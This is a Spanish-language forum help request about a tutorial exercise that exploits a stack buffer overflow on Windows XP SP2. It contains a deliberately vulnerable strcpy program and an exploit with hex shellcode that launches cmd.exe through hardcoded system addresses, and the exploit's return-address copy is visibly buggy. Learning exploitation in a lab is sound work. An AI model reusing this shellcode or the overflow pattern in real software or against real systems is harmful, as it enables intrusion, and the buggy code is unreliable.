hola salu2
tengo un problema e querido ejecutar una shellcode que hice con un videotutorial que encontre en este foro .. ya compile los ejecutables vuln y exploit.. los compile con gcc... venia incluido con dev-cpp..

pero cuando ejecuto el exploit.. egun en el videotutorial sale una pantalla en ms-dos que carga el buffer en vuln.exe y al aparecer el error te sale el mensaje de que vuln.exe tuvo un error y aparece la que seria la shellcode... el que hizo el tutorial al parecer utilizo windows xp sp2 en ingles.. yo tambien estoy utilizando el mismo... ya revise el findjmp de ntdll y encontre lo mismo... pero a yo cuando ejecuto el exploit solo me aparece la pantalla de ms-dos por unos segundos y desaparece y ya no pasa nada.. ya intente ejecutar el exploit llendo a la direccion en ms-dos a donde tengo el archivo exploit pero cuando lo ejecuto sigue sin aparecer nada.. alguien sabe porque pasa eso.... estoy haciendo algo mal... o nose algo que deberia saber.. o alguien digame que estoy haciendo mal porfavor..
Solo que tambien no se si al revisarlo con Olly en el tutorial dice que colocando 272 caractes con "A" y los ultimos 8 de los 270 debian ser "B" y "C" pero yo tengo que colocar 272 caractes "A" y los ultimos 8 de los 272 "B" y "C"... sera por eso que no funciona mi shellcode... alguien me podria decir como arreglar el problema
o como saber si hay un cambio en el buffer que deba de hacer por la misma razon de los 272... ya que los hex para "cmd.exe" talvez cambiaron... pero como saberlo?... al parecer el que hizo el tutorial analizo el kenel32.dll para encontrar "cmd.exe".. kreo que es lo mismo para todos los window xp sp2... uds creen que con el ejemplo de rojodos de como encontrar "cmd.exe" pueda yo encontrar los hex de "cmd.exe".. auque ya lo intente... y sigue sin funcionar... pero a lo mejor debo de cambiar algo para que funcione.. les pogo el codigo para ver si me pueden ayudar
Archivo vulnerable
compilarlo como vuln.exe
compilarlo con gcc viene incluido con dev-cpp 4.9.9.2
#include <stdio.h>
#include <string.h>
#include <windows.h>
void func(char *args);
int main (int argc, char*argv[]){
if (argc != 2){
fprintf(stderr,"%s <Your Long Name>\n",argv[0]);
return EXIT_FAILURE;
}
func(argv[1]);
return EXIT_SUCCESS;
}
void func(char *args)
{
char buf[256];
strcpy(buf,args);
printf("You Are: %s\n",buf);
}
compilarlo con gcc
compilarlo como expl.exe
#include <stdio.h>
#include <windows.h>
#include <string.h>
#define SIZE 317
char payload[]=
"\x55\x8B\xEC\x33\xFF\x57\xC6\x45\xFC\x63\xC6"
"\x45\xFD\x6D\xC6\x45\xFE\x64\x57\xC6\x45\xF8"
"\x01\x8D\x45\xFC\x50\xB8"
"\x6D\x13\x86\x7C"
"\xFF\xD0\xCC";
int main (int argc, char*argv[])
{
char buf[SIZE];
char filename[]="vuln.exe ";
char winxp_sp2[]="\x5D\xEE\x95\x7C";
memset(buf,'\x90',SIZE);
memcpy(buf,filename,9);
memcpy(buf,268+9+winxp_sp2,strlen(winxp_sp2));
memcpy(buf+268+9+strlen(winxp_sp2),payload,strlen(payload));
buf[SIZE-1]='\0';
WinExec(buf,0);
return EXIT_SUCCESS;
}
se les agradece la ayuda.. bye
